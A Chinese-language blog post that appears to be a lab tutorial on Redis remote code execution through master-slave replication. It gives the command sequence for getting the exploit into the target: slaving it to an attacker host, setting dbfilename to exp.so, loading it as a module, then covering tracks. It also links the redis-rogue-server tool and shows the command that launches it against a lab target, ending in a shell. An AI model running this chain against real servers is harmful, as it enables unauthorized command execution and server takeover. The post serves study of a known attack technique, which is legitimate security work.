前言
我在上一篇博客上写过通过备份的方法来利用 redis 反弹 shell,但是利用条件苛刻,需要有较高的权限,而主从复制 RCE 使用条件要简单的多,下面开始学习。
什么是Redis主从复制
主从复制是指将一台 redis 服务器的数据,复制到其他 redis 服务器。前者称为主节点(master),后者称为从节点(slave),数据复制单向,只能由主节点到从节点。
Redis主从复制RCE
原理
自Redis4.x之后 redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,比如实现一个新的Redis命令,Redis模块是动态库,可以在启动时使用MODULE LOAD
命令加载到Redis中。
思考
我们是不是可以写一个恶意的动态库,让 redis服务器加载进去,从而让 redis 执行一些系统命令,完成 getshell?
恶意的动态库网上已经有了,就是redis-rogue-server工具
中的exp.so
现在的问题是怎么将exp.so
上传到 redis服务器,然后让 redis服务器 加载进去。这就用到了主从复制。
主从复制过程
- 建立连接:这是为主从复制开始做准备
- 数据同步:主节点将自己的数据同步到从节点
- 命令传播:相当于后序的数据同步,保证主从节点数据的一致性
整个过程中最重要的是数据同步,这个过程是通过 FULLRESYNC 将任意文件同步(发送)到从节点。
继续思考
让 目标redis服务器 作为 从节点,让一个恶意的 redis服务器 作为主节点,在主从复制数据同步阶段,将exp.so
的内容发送到从节点,这样就可以将exp.so
上传到 目标redis服务器
主要命令
将思路转变为伪代码
视角是目标redis服务器
slaveof 192.168.231.140 21000 # 将本机设置为 192.168.231.140:21000 的从节点
config set dir 目录 # 可选,如果当前目录没有写的权限,可以用这条命令更换一个有写权限的目录
config set dbfilename exp.so # 设置备份文件的名称为exp.so,后面会把真正的exp.so内容写入这里面
# 开启恶意服务器,同步 exp.so 到 目标redis服务器
module load ./exp.so # exp.so必须是绝对路径
# 清理痕迹
slaveof no one
config set dir 目录 # 如果前面修改了dir,这里就要还原 dir
config set dbfilename dump.rdb
# 关闭恶意服务器
# 可以执行系统命令了,使用方法:[system.exec whoami]
如果没有 redis 基础,这可能有点难理解,多去查查资料。下面开始复现
环境配置
虚拟机
系统 | IP | |
---|---|---|
攻击机 | Kali Linux | 192.168.231.140 |
服务器 | Centos7 | 192.168.231.148 |
Redis配置
Centos7 安装 Redis 的方法在我上一篇博客,安装过后开启 redis
工具
下载:https://github.com/n0b0dyCN/redis-rogue-server
把工具放在 Kali Linux 的 /home/kali/
目录下。(随便哪个目录都可以)
ps:该工具需要 python3.6+ 环境
RCE
在 Kali Linux 中进入 /home/kali/redis-rogue-server/
目录,执行以下命令:
python redis-rogue-server.py --rhost 192.168.231.148 --lhost 192.168.231.140
成功 getshell
RCE分析
下面命令可以显示RCE详细过程
python redis-rogue-server.py --rhost 192.168.231.148 --lhost 192.168.231.140 -v
有很多\r\n
,这是 redis 的一种传输协议,不懂的小伙伴去这里学习 http://www.sqlone.top/article/av27
从划红线后面开始就是 exp.so 的内容,很明显是通过 FULLRESYNC 将 exp.so 文件同步到从节点的
参考博客: